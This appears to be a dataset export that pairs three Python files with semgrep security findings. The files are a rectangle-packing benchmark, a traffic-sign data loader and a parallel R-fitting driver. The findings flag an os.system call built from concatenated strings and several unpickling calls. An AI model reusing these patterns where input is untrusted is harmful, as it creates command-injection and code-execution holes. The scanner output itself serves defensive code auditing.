"raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/507000c2eeac6734.py", "start": {"line": 11, "col": 9, "offset": 196}, "end": {"line": 11, "col": 92, "offset": 279}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-78" ]
[ "rules.python.lang.security.audit.dangerous-system-call-audit" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 11 ]
[ 11 ]
[ 9 ]
[ 92 ]
[ "A01:2017 - Injection" ]
[ "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability." ]
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
logger.py
/base/modules/rat/logger.py
nv8h/PyRattus
MIT
2024-11-18T22:35:57.921220+00:00
1,671,524,464,000
c647ee31785af7e033aa38d3569f10ec982a3864
3
{ "blob_id": "c647ee31785af7e033aa38d3569f10ec982a3864", "branch_name": "refs/heads/master", "committer_date": 1671524464000, "content_id": "af4764a36418e02464d554d1499c0e839572cf6c", "detected_licenses": [ "MIT" ], "directory_id": "0268631c60edf418bdd8b4fdfed99f5f5684601a", "extension": "py", "filename": "crunch.py", "fork_events_count": 16, "gha_created_at": 1451689703000, "gha_event_created_at": 1692655934000, "gha_language": "C", "gha_license_id": "MIT", "github_id": 48892208, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5653, "license": "MIT", "license_type": "permissive", "path": "/misc/crunch.py", "provenance": "stack-edu-0054.json.gz:587090", "repo_name": "Penlect/rectangle-packer", "revision_date": 1671524464000, "revision_id": "f1d7fad3dbfdf4a8ccf551dbfbb84519d0741e2b", "snapshot_id": "9b816d947ff41b7b4f70e80cad4f110a13378957", "src_encoding": "UTF-8", "star_events_count": 53, "url": "https://raw.githubusercontent.com/Penlect/rectangle-packer/f1d7fad3dbfdf4a8ccf551dbfbb84519d0741e2b/misc/crunch.py", "visit_date": "2023-09-01T15:03:16.650094" }
2.890625
stackv2
#!/usr/bin/env python3 """Benchmark rpack package This module test rpack performance and packing density quality. These are the performance tests: * Uniform side length test * Sequence of squares test * Uniform area test (todo) # TODO Square-packing problem NxN """ # Built-in import asyncio import argparse import concurrent.futures import multiprocessing import os import pickle import random import statistics import time import math # Package import rpack # Random seed fixed - make benchmark repeatable SEED = 81611 # Number of rectangles to generate for each size N_STEP = 10 N_MAX = 100 # Random side-length of rectangles M_STEP = 100 M_MAX = 1_000 SQUARE_MAX = 100 CIRCUM_MAX = 100 # Rectangle sources # ================= def rectangles_square(n: int): """Return `n` square rectangles from (1, 1) to (n, n)""" return [(i, i) for i in reversed(range(1, n + 1))] def rectangles_circum(n: int): """Return `n` fixed circumference rectangles, w + h = n""" output = list() for i in range(1, n + 1): output.append((i, n - i + 1)) output.sort(key=lambda x: x[1], reverse=True) return output def rectangles_unif_side(n: int, m: int): """Return list of `n` rec. with random side lengths `unif{0, m}`""" return [(random.randint(1, m), random.randint(1, m)) for _ in range(n)] def rectangles_unif_area(n: int, m: int): """Return list of `n` rec. with random area `unif{0, m}`""" output = list() for _ in range(n): area = random.randint(1, m) width = random.randint(1, area) height = area//width # Randomly transpose rectangle if random.choice([True, False]): output.append((height, width)) output.append((width, height)) return output # Executor tasks # ============== async def run_rectangles_square(exe, output_dir: str): futures = dict() loop = asyncio.get_running_loop() for n in range(1, SQUARE_MAX + 1): rec = rectangles_square(n) f = loop.run_in_executor(exe, rpack.pack, rec) futures[f] = rec output_file = os.path.join(output_dir, f'square{SQUARE_MAX}.pickle') with open(output_file, 'wb') as out_f: for f, rec in futures.items(): pos = await f pickle.dump((rec, pos), out_f) print('Done:', output_file) async def run_rectangles_circum(exe, output_dir: str): futures = dict() loop = asyncio.get_running_loop() for n in range(1, CIRCUM_MAX + 1): rec = rectangles_circum(n) f = loop.run_in_executor(exe, rpack.pack, rec) futures[f] = rec output_file = os.path.join(output_dir, f'circum{CIRCUM_MAX}.pickle') with open(output_file, 'wb') as out_f: for f, rec in futures.items(): pos = await f pickle.dump((rec, pos), out_f) print('Done:', output_file) def no_samples(n: int): b = math.log(100)/90 a = 100*math.exp(b*100) return int(a*math.exp(-b*n)) def task(rec): # Measure time used by rpack.pack t0 = time.monotonic_ns() pos = rpack.pack(rec) t1 = time.monotonic_ns() return pos, t1 - t0 async def run_rectangles_random(exe, output_dir: str, rec_func): """Build arguments of multiprocess task""" futures = dict() loop = asyncio.get_running_loop() progress = dict() for n in range(N_STEP, N_MAX + 1, N_STEP): for m in range(M_STEP, M_MAX + 1, M_STEP): prefix = rec_func.__name__.replace('rectangles_', '') name = f'{prefix}{n:03}n{m:04}m.pickle' output_file = os.path.join(output_dir, name) if m == M_MAX: s = no_samples(n) elif n == N_MAX: s = 100 else: s = 10 progress[output_file] = s for _ in range(s): rec = rec_func(n, m) f = loop.run_in_executor(exe, task, rec) futures[f] = output_file, rec files = dict() try: for f, (output_file, rec) in futures.items(): pos, dt = await f if output_file not in files: files[output_file] = open(output_file, 'wb') out_f = files[output_file] pickle.dump((rec, pos, dt), out_f) progress[output_file] -= 1 if progress[output_file] == 0: del progress[output_file] print('Done:', output_file, end='. ') print('Files remaining:', len(progress)) finally: for f in files.values(): f.close() async def main(args): random.seed(SEED) os.makedirs(args.output_dir, exist_ok=True) max_workers = args.max_workers with concurrent.futures.ProcessPoolExecutor(max_workers) as exe: await asyncio.gather( asyncio.create_task(run_rectangles_square(exe, args.output_dir)), asyncio.create_task(run_rectangles_circum(exe, args.output_dir)), asyncio.create_task(run_rectangles_random(exe, args.output_dir, rectangles_unif_side)), # asyncio.create_task(run_rectangles_random(exe, args.output_dir, rectangles_unif_area)), ) PARSER = argparse.ArgumentParser() PARSER.add_argument( '--max-workers', '-j', type=int, default=min(30, multiprocessing.cpu_count() - 2), help='Max cpu count for workers.') PARSER.add_argument( '--output-dir', '-o', # Example output_dir: /tmp/rpack/1.1.0-13-g18920b5-dirty/data type=str, default='/tmp/rpack/data', help='Measurements output directory.') if __name__ == '__main__': args = PARSER.parse_args() asyncio.run(main(args))
194
28.14
101
15
1,489
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_687c01a45bfe01e6_95d9c533", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 93, "line_end": 93, "column_start": 13, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/687c01a45bfe01e6.py", "start": {"line": 93, "col": 13, "offset": 2277}, "end": {"line": 93, "col": 43, "offset": 2307}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_687c01a45bfe01e6_6ad9dee4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 108, "line_end": 108, "column_start": 13, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/687c01a45bfe01e6.py", "start": {"line": 108, "col": 13, "offset": 2803}, "end": {"line": 108, "col": 43, "offset": 2833}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_687c01a45bfe01e6_77cfe2cd", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 153, "line_end": 153, "column_start": 17, "column_end": 61, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmp10dxl77l/687c01a45bfe01e6.py", "start": {"line": 153, "col": 17, "offset": 4143}, "end": {"line": 153, "col": 61, "offset": 4187}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_687c01a45bfe01e6_fd7d864c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 155, "line_end": 155, "column_start": 13, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/687c01a45bfe01e6.py", "start": {"line": 155, "col": 13, "offset": 4239}, "end": {"line": 155, "col": 47, "offset": 4273}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 93, 108, 155 ]
[ 93, 108, 155 ]
[ 13, 13, 13 ]
[ 43, 43, 47 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5, 5 ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
crunch.py
/misc/crunch.py
Penlect/rectangle-packer
MIT
2024-11-18T22:36:02.165709+00:00
1,588,536,225,000
0cb4250076a73e6ecb2e88195413d4507ccb99b9
3
{ "blob_id": "0cb4250076a73e6ecb2e88195413d4507ccb99b9", "branch_name": "refs/heads/master", "committer_date": 1588536225000, "content_id": "531a8abb914cd24bc22cb104c0e5b2dc2a6fcd94", "detected_licenses": [], "directory_id": "457149d2b593c6293f8b859ca5ec3ff29cdb07f7", "extension": "py", "filename": "data.py", "fork_events_count": 0, "gha_created_at": 1588039212000, "gha_event_created_at": 1588533881000, "gha_language": null, "gha_license_id": "MIT", "github_id": 259504785, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4710, "license": "", "license_type": "permissive", "path": "/data.py", "provenance": "stack-edu-0054.json.gz:587122", "repo_name": "lianqiann/traffic-sign-recognition", "revision_date": 1588536225000, "revision_id": "1ecc847a1a012118a7431d09987512626e576184", "snapshot_id": "c48805a59539bab2b7dc6ae92b401492396a814d", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/lianqiann/traffic-sign-recognition/1ecc847a1a012118a7431d09987512626e576184/data.py", "visit_date": "2022-06-14T10:35:11.630023" }
2.609375
stackv2
import os import pickle import numpy as np import torch from torch.utils.data.dataset import Dataset from torch.utils.data import DataLoader, sampler from transform import get_train_transforms, get_test_transforms, CLAHE_GRAY from tqdm import tqdm # To load the picked dataset class PickledDataset(Dataset): def __init__(self, file_path, transform=None): with open(file_path, mode='rb') as f: data = pickle.load(f) self.features = data['features'] self.labels = data['labels'] self.count = len(self.labels) self.transform = transform def __getitem__(self, index): feature = self.features[index] if self.transform is not None: feature = self.transform(feature) return (feature, self.labels[index]) def __len__(self): return self.count # To move batches to the GPU class WrappedDataLoader: def __init__(self, dl, func): self.dl = dl self.func = func def __len__(self): return len(self.dl) def __iter__(self): batches = iter(self.dl) for b in batches: yield (self.func(*b)) def extend_dataset(dataset): X = dataset.features y = dataset.labels num_classes = 43 X_extended = np.empty([0] + list(dataset.features.shape) [1:], dtype=dataset.features.dtype) y_extended = np.empty([0], dtype=dataset.labels.dtype) horizontally_flippable = [11, 12, 13, 15, 17, 18, 22, 26, 30, 35] vertically_flippable = [1, 5, 12, 15, 17] both_flippable = [32, 40] cross_flippable = np.array([ [19, 20], [33, 34], [36, 37], [38, 39], [20, 19], [34, 33], [37, 36], [39, 38] ]) for c in range(num_classes): X_extended = np.append(X_extended, X[y == c], axis=0) if c in horizontally_flippable: X_extended = np.append( X_extended, X[y == c][:, :, ::-1, :], axis=0) if c in vertically_flippable: X_extended = np.append( X_extended, X[y == c][:, ::-1, :, :], axis=0) if c in cross_flippable[:, 0]: flip_c = cross_flippable[cross_flippable[:, 0] == c][0][1] X_extended = np.append( X_extended, X[y == flip_c][:, :, ::-1, :], axis=0) if c in both_flippable: X_extended = np.append( X_extended, X[y == c][:, ::-1, ::-1, :], axis=0) y_extended = np.append(y_extended, np.full( X_extended.shape[0]-y_extended.shape[0], c, dtype=y_extended.dtype)) dataset.features = X_extended dataset.labels = y_extended dataset.count = len(y_extended) return dataset def preprocess(path): if not os.path.exists(f"{path}/train_gray.p"): for dataset in ['train', 'valid', 'test']: with open(f"{path}/{dataset}.p", mode='rb') as f: data = pickle.load(f) X = data['features'] y = data['labels'] clahe = CLAHE_GRAY() for i in tqdm(range(len(X)), desc=f"Processing {dataset} dataset"): X[i] = clahe(X[i]) X = X[:, :, :, 0] with open(f"{path}/{dataset}_gray.p", "wb") as f: pickle.dump({"features": X.reshape( X.shape + (1,)), "labels": y}, f) def get_train_loaders(path, device, batch_size, workers, class_count): def to_device(x, y): return x.to(device), y.to(device, dtype=torch.int64) train_dataset = extend_dataset(PickledDataset( path+'/train_gray.p', transform=get_train_transforms())) valid_dataset = PickledDataset( path+'/valid_gray.p', transform=get_test_transforms()) # Use weighted sampler class_sample_count = np.bincount(train_dataset.labels) weights = 1 / np.array([class_sample_count[y] for y in train_dataset.labels]) samp = sampler.WeightedRandomSampler(weights, 43 * class_count) train_loader = WrappedDataLoader(DataLoader( train_dataset, batch_size=batch_size, sampler=samp, num_workers=workers), to_device) valid_loader = WrappedDataLoader(DataLoader( valid_dataset, batch_size=batch_size, shuffle=False, num_workers=workers), to_device) return train_loader, valid_loader def get_test_loader(path, device): def preprocess(x, y): return x.to(device), y.to(device, dtype=torch.int64) test_dataset = PickledDataset( path, transform=get_test_transforms()) test_loader = WrappedDataLoader(DataLoader( test_dataset, batch_size=64, shuffle=False), preprocess) return test_loader
147
31.04
93
19
1,203
python
[{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_03c4bd9ac899a308_33047e0f", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 16, "line_end": 16, "column_start": 20, "column_end": 34, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/03c4bd9ac899a308.py", "start": {"line": 16, "col": 20, "offset": 427}, "end": {"line": 16, "col": 34, "offset": 441}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_03c4bd9ac899a308_2da151ee", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 102, "line_end": 102, "column_start": 24, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/03c4bd9ac899a308.py", "start": {"line": 102, "col": 24, "offset": 2967}, "end": {"line": 102, "col": 38, "offset": 2981}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_03c4bd9ac899a308_2772113e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 112, "line_end": 113, "column_start": 17, "column_end": 54, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmp10dxl77l/03c4bd9ac899a308.py", "start": {"line": 112, "col": 17, "offset": 3312}, "end": {"line": 113, "col": 54, "offset": 3401}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-502", "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security", "security" ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
[ 16, 102, 112 ]
[ 16, 102, 113 ]
[ 20, 24, 17 ]
[ 34, 38, 54 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5, 5 ]
[ "LOW", "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM", "MEDIUM" ]
data.py
/data.py
lianqiann/traffic-sign-recognition
2024-11-18T22:36:03.077673+00:00
1,648,742,166,000
6657afe813d75c38fa3a9f33c7dfbfe04f25a9c2
2
{ "blob_id": "6657afe813d75c38fa3a9f33c7dfbfe04f25a9c2", "branch_name": "refs/heads/main", "committer_date": 1648742166000, "content_id": "a3a2baa8a7d9cff47846033a023977528fa74df0", "detected_licenses": [ "MIT" ], "directory_id": "ae303db28aa98b714fa2d1064f90be1a4cdfb30c", "extension": "py", "filename": "run_fit.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 475441357, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1719, "license": "MIT", "license_type": "permissive", "path": "/code/world/run_fit.py", "provenance": "stack-edu-0054.json.gz:587132", "repo_name": "predsci/PSI-CARM", "revision_date": 1648742166000, "revision_id": "3bccf4798bb33297ba0ce7d45ab6eb349e15ff39", "snapshot_id": "4d669cd55f28aa80ff3eb3abadfa6d90c1324728", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/predsci/PSI-CARM/3bccf4798bb33297ba0ce7d45ab6eb349e15ff39/code/world/run_fit.py", "visit_date": "2023-04-10T23:54:20.339833" }
2.46875
stackv2
#!/usr/bin/python # run_fit.py - driver for running the fitting codes in parallel # by launching multiplt (12 in this case) jobs # # # Created by Michal Ben-Nun on 5/19/20. # import multiprocessing from multiprocessing import Process import os import string import random import numpy as np def info(title): print title print 'module name:',__name__ if hasattr(os,'getppid'): print 'parent process:',os.getpid() print 'process id: ',os.getpid() ## ## change which R fitting routine to use ## world_mcmc_fit_calendar_time.R or ## world_mcmc_fit_pandemic_time.R ## ## ## start/end: currently set to fit top 120 locations ## def f(start,end): os.system("time Rscript world_mcmc_fit_calendar_time.R "+str(start)+" "+str(end)) nthreads = 12 start=np.array([i for i in range(1, 120,10)]) end=np.array([i for i in range(10,121,10)]) if __name__ == '__main__': info('main line') p1 = Process(target=f,args=(start[0],end[0],)) p1.start() p2 = Process(target=f,args=(start[1],end[1],)) p2.start() p3 = Process(target=f,args=(start[2],end[2],)) p3.start() p4 = Process(target=f,args=(start[3],end[3],)) p4.start() p5 = Process(target=f,args=(start[4],end[4],)) p5.start() p6 = Process(target=f,args=(start[5],end[5],)) p6.start() p7 = Process(target=f,args=(start[6],end[6],)) p7.start() p8 = Process(target=f,args=(start[7],end[7],)) p8.start() p9 = Process(target=f,args=(start[8],end[8],)) p9.start() p10 = Process(target=f,args=(start[9],end[9],)) p10.start() p11 = Process(target=f,args=(start[10],end[10],)) p11.start() p12 = Process(target=f,args=(start[11],end[11],)) p12.start()
71
23.21
85
12
550
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-audit_cbff8acedd0878f7_69898fc4", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 37, "line_end": 37, "column_start": 5, "column_end": 86, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-audit", "path": "/tmp/tmp10dxl77l/cbff8acedd0878f7.py", "start": {"line": 37, "col": 5, "offset": 677}, "end": {"line": 37, "col": 86, "offset": 758}, "extra": {"message": "Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": 